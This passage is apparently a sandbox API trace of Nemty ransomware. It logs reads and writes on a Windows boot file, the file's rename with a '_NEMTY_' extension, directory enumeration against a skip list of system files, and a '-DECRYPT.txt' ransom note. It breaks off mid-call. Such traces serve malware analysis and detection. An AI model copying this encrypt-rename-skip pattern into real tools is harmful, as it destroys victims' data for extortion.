pszString="u57UKgoXJGOocvpZaBwaFIvK7/9IYgwnDfgvQA2VdAvfQx9iQglplODp6jTj5a0D\r\n6QREfBvHyBp+j65xoY6XoWd1OdbuqFmz2fiLhpxlxLyqFrERlxgrOX2zJoqfTMFD\r\nBtmoHCmZbtaKjnOVzFzEda1uIAvXpv1I/aEniqeLHVYJgmjljI2DGbEbraKN1/F7\r\n2XxDrgYVBisRHnkpx0OPTwPiCL3INOOE6T7UPJWlvRo3vpc/Dul0+2hBsz4mlC1a\r\nl+l46VJCOad277Hjny/AqkaFiUEN2u95dc2z52abMUXN9WPop0QuXRHdSgTCjkvf\r\nQgcIq4uvclYRtRRW0sdzxQ==\r\n", pcchString=0x653f2dc) returned 1 [0045.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0045.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0045.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0045.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0045.005] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0045.005] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0045.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0045.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.117] CloseHandle (hObject=0xffffffff) returned 0 [0045.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0045.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0045.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.117] MoveFileW (lpExistingFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0045.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0045.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0045.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0045.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.118] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce848a70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce848a70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce848a70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0045.118] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0045.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.119] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce848a70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce848a70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce848a70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0045.119] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0045.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0045.119] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0045.119] lstrcmpiW (lpString1="ko-KR", lpString2=".") returned 1 [0045.119] lstrcmpiW (lpString1="ko-KR", lpString2="..") returned 1 [0045.119] lstrcmpiW (lpString1="ko-KR", lpString2="...") returned 1 [0045.119] lstrcmpiW (lpString1="ko-KR", lpString2="windows") returned -1 [0045.119] lstrcmpiW (lpString1="ko-KR", lpString2="$RECYCLE.BIN") returned 1 [0045.119] lstrcmpiW (lpString1="ko-KR", lpString2="rsa") returned -1 [0045.119] lstrcmpiW (lpString1="ko-KR", lpString2="NTDETECT.COM") returned -1 [0045.119] lstrcmpiW (lpString1="ko-KR", lpString2="ntldr") returned -1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="MSDOS.SYS") returned -1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="IO.SYS") returned 1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="boot.ini") returned 1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="boot.ini") returned 1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="AUTOEXEC.BAT") returned 1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="ntuser.dat") returned -1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="desktop.ini") returned 1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="CONFIG.SYS") returned 1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="RECYCLER") returned -1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="BOOTSECT.BAK") returned 1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="bootmgr") returned 1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="programdata") returned -1 [0045.120] lstrcmpiW (lpString1="ko-KR", lpString2="appdata") returned 1 [0045.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ko-KR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ko-KR", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ko-KR", lpUsedDefaultChar=0x0) returned 5 [0045.120] WideCharToMultiByte (in: 